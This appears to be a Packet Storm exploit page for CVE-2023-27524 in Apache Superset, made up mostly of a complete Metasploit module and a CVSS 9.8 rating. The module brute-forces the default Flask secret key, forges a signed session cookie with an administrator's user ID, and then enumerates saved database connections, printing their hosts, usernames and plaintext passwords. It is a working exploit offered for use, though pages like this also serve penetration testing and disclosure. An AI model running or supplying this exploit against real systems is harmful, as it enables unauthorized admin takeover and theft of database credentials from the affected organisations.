Lucene search

K
packetstormH00die, Spencer McIntyre, Naveen Sunkavally, paradoxis, metasploit.comPACKETSTORM:180678
HistoryAug 31, 2024 - 12:00 a.m.

Apache Superset Signed Cookie Privilege Escalation

2024-08-3100:00:00
h00die, Spencer McIntyre, Naveen Sunkavally, paradoxis, metasploit.com
packetstormsecurity.com
16
apache superset
cookie
privilege escalation
http
vulnerable
exploit
database

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

AI Score

7.2

Confidence

Low

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Apache Superset Signed Cookie Priv Esc',  
'Description' => %q{  
Apache Superset versions <= 2.0.0 utilize Flask with a known default secret key which is used to sign HTTP cookies.  
These cookies can therefore be forged. If a user is able to login to the site, they can decode the cookie, set their user_id to that  
of an administrator, and re-sign the cookie. This valid cookie can then be used to login as the targeted user and retrieve database  
credentials saved in Apache Superset.  
},  
'Author' => [  
'h00die', # MSF module  
'paradoxis', # original flask-unsign tool  
'Spencer McIntyre', # MSF flask-unsign library  
'Naveen Sunkavally' # horizon3.ai writeup and cve discovery  
],  
'References' => [  
['URL', 'https://github.com/Paradoxis/Flask-Unsign'],  
['URL', 'https://vulcan.io/blog/cve-2023-27524-in-apache-superset-what-you-need-to-know/'],  
['URL', 'https://www.horizon3.ai/cve-2023-27524-insecure-default-configuration-in-apache-superset-leads-to-remote-code-execution/'],  
['URL', 'https://github.com/horizon3ai/CVE-2023-27524/blob/main/CVE-2023-27524.py'],  
['EDB', '51447'],  
['CVE', '2023-27524' ],  
],  
'License' => MSF_LICENSE,  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [],  
'SideEffects' => [IOC_IN_LOGS],  
'RelatedModules' => ['exploit/linux/http/apache_superset_cookie_sig_rce']  
},  
'DisclosureDate' => '2023-04-25'  
)  
)  
register_options(  
[  
Opt::RPORT(8088),  
OptString.new('USERNAME', [true, 'The username to authenticate as', nil]),  
OptString.new('PASSWORD', [true, 'The password for the specified username', nil]),  
OptInt.new('ADMIN_ID', [true, 'The ID of an admin account', 1]),  
OptString.new('TARGETURI', [ true, 'Relative URI of Apache Superset installation', '/']),  
OptPath.new('SECRET_KEYS_FILE', [  
false, 'File containing secret keys to try, one per line',  
File.join(Msf::Config.data_directory, 'wordlists', 'superset_secret_keys.txt')  
]),  
]  
)  
end  
  
def check  
res = send_request_cgi!({  
'uri' => normalize_uri(target_uri.path, 'login')  
})  
return Exploit::CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?  
return Exploit::CheckCode::Unknown("#{peer} - Unexpected response code (#{res.code})") unless res.code == 200  
return Exploit::CheckCode::Safe("#{peer} - Unexpected response, version_string not detected") unless res.body.include? 'version_string'  
unless res.body =~ /"version_string": "([\d.]+)"/  
return Exploit::CheckCode::Safe("#{peer} - Unexpected response, unable to determine version_string")  
end  
  
version = Rex::Version.new(Regexp.last_match(1))  
if version < Rex::Version.new('2.0.1') && version >= Rex::Version.new('1.4.1')  
Exploit::CheckCode::Appears("Apache Supset #{version} is vulnerable")  
else  
Exploit::CheckCode::Safe("Apache Supset #{version} is NOT vulnerable")  
end  
end  
  
def get_secret_key(cookie)  
File.open(datastore['SECRET_KEYS_FILE'], 'rb').each do |secret|  
secret = secret.strip  
vprint_status("#{peer} - Checking secret key: #{secret}")  
  
unescaped_secret = Rex::Text.dehex(secret.gsub('\\', '\\').gsub('\\n', "\n").gsub('\\t', "\t"))  
unless Msf::Exploit::Remote::HTTP::FlaskUnsign::Session.valid?(cookie, unescaped_secret)  
vprint_bad("#{peer} - Incorrect secret key: #{secret}")  
next  
end  
  
print_good("#{peer} - Found secret key: #{secret}")  
return secret  
end  
nil  
end  
  
def validate_cookie(decoded_cookie, secret_key)  
print_status("#{peer} - Attempting to resign with key: #{secret_key}")  
encoded_cookie = Msf::Exploit::Remote::HTTP::FlaskUnsign::Session.sign(decoded_cookie, secret_key)  
  
print_status("#{peer} - New signed cookie: #{encoded_cookie}")  
cookie_jar.clear  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'me', '/'),  
'cookie' => "session=#{encoded_cookie};",  
'keep_cookies' => true  
)  
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?  
if res.code == 401  
print_bad("#{peer} - Cookie not accepted")  
return nil  
end  
data = res.get_json_document  
print_good("#{peer} - Cookie validated to user: #{data['result']['username']}")  
return encoded_cookie  
end  
  
def run  
res = send_request_cgi!({  
'uri' => normalize_uri(target_uri.path, 'login'),  
'keep_cookies' => true  
})  
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?  
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code (#{res.code})") unless res.code == 200  
  
fail_with(Failure::NotFound, 'Unable to determine csrf token') unless res.body =~ /name="csrf_token" type="hidden" value="([\w.-]+)">/  
  
csrf_token = Regexp.last_match(1)  
vprint_status("#{peer} - CSRF Token: #{csrf_token}")  
cookie = res.get_cookies.to_s  
print_status("#{peer} - Initial Cookie: #{cookie}")  
decoded_cookie = Msf::Exploit::Remote::HTTP::FlaskUnsign::Session.decode(cookie.split('=')[1].gsub(';', ''))  
print_status("#{peer} - Decoded Cookie: #{decoded_cookie}")  
print_status("#{peer} - Attempting login")  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'login', '/'),  
'keep_cookies' => true,  
'method' => 'POST',  
'ctype' => 'application/x-www-form-urlencoded',  
'vars_post' => {  
'username' => datastore['USERNAME'],  
'password' => datastore['PASSWORD'],  
'csrf_token' => csrf_token  
}  
})  
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?  
fail_with(Failure::NoAccess, "#{peer} - Failed login") if res.body.include? 'Sign In'  
cookie = res.get_cookies.to_s  
print_good("#{peer} - Logged in Cookie: #{cookie}")  
  
# get the cookie value and strip off anything else  
cookie = cookie.split('=')[1].gsub(';', '')  
  
secret_key = get_secret_key(cookie)  
fail_with(Failure::NotFound, 'Unable to find secret key') if secret_key.nil?  
  
decoded_cookie = Msf::Exploit::Remote::HTTP::FlaskUnsign::Session.decode(cookie)  
decoded_cookie['user_id'] = datastore['ADMIN_ID']  
print_status("#{peer} - Modified cookie: #{decoded_cookie}")  
admin_cookie = validate_cookie(decoded_cookie, secret_key)  
  
fail_with(Failure::NoAccess, "#{peer} - Unable to sign cookie with a valid secret") if admin_cookie.nil?  
(1..101).each do |i|  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'database', i),  
'cookie' => "session=#{admin_cookie};",  
'keep_cookies' => true  
)  
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?  
if res.code == 401 || res.code == 404  
print_status('Done enumerating databases')  
break  
end  
result_json = res.get_json_document  
db_display_name = result_json['result']['database_name']  
db_name = result_json['result']['parameters']['database']  
db_type = result_json['result']['backend']  
db_host = result_json['result']['parameters']['host']  
db_port = result_json['result']['parameters']['port']  
db_pass = result_json['result']['parameters']['password']  
db_user = result_json['result']['parameters']['username']  
if framework.db.active  
create_credential_and_login({  
address: db_host,  
port: db_port,  
protocol: 'tcp',  
workspace_id: myworkspace_id,  
origin_type: :service,  
service_name: db_type,  
username: db_user,  
private_type: :password,  
private_data: db_pass,  
module_fullname: fullname,  
status: Metasploit::Model::Login::Status::UNTRIED  
})  
end  
print_good("Found #{db_display_name}: #{db_type}://#{db_user}:#{db_pass}@#{db_host}:#{db_port}/#{db_name}")  
end  
end  
end  
`

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

AI Score

7.2

Confidence

Low